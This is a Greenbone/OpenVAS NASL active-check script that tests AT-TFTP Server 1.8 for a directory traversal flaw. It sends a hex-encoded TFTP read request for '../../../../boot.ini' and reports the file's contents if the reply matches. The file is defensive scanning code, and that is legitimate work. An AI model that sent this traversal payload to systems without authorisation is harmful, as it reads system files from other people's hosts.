AT-TFTP Server 1.8 Directory Traversal Vulnerability - Active Check

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801543");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2010-11-23 14:41:37 +0100 (Tue, 23 Nov 2010)");
  script_tag(name:"cvss_base", value:"5.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:P");
  script_name("AT-TFTP Server 1.8 Directory Traversal Vulnerability - Active Check");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/15438/");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Remote file access");
  script_dependencies("tftpd_detect.nasl", "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected", "Host/runs_windows");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to read arbitrary
  files on the affected application.");

  script_tag(name:"affected", value:"AT-TFTP Server version 1.8.");

  script_tag(name:"insight", value:"The flaw is due to an error while handling certain requests
  which can be exploited to download arbitrary files from the host system.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"AT-TFTP Server is prone to a directory traversal vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_vul");

  exit(0);
}

include("port_service_func.inc");

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

soc = open_sock_udp(port);
if(!soc)
  exit(0);

raw_data = raw_string(0x00, 0x01, 0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f,
                      0x2e, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x62, 0x6f,
                      0x6f, 0x74, 0x2e, 0x69, 0x6e, 0x69, 0x00, 0x6e,
                      0x65, 0x74, 0x61, 0x73, 0x63, 0x69, 0x69, 0x00);
raw_ack = raw_string(0x00, 0x04, 0x00, 0x01);

send(socket:soc, data:raw_data);
res = recv(socket:soc, length:1000);

if("[boot loader]" >< res && "\WINDOWS" >< res) {
  send(socket:soc, data:raw_ack);
  close(soc);
  report = string("The boot.ini file contains:\n", res);
  security_message(port:port, data:report, proto:"udp");
  exit(0);
}

close(soc);
exit(99);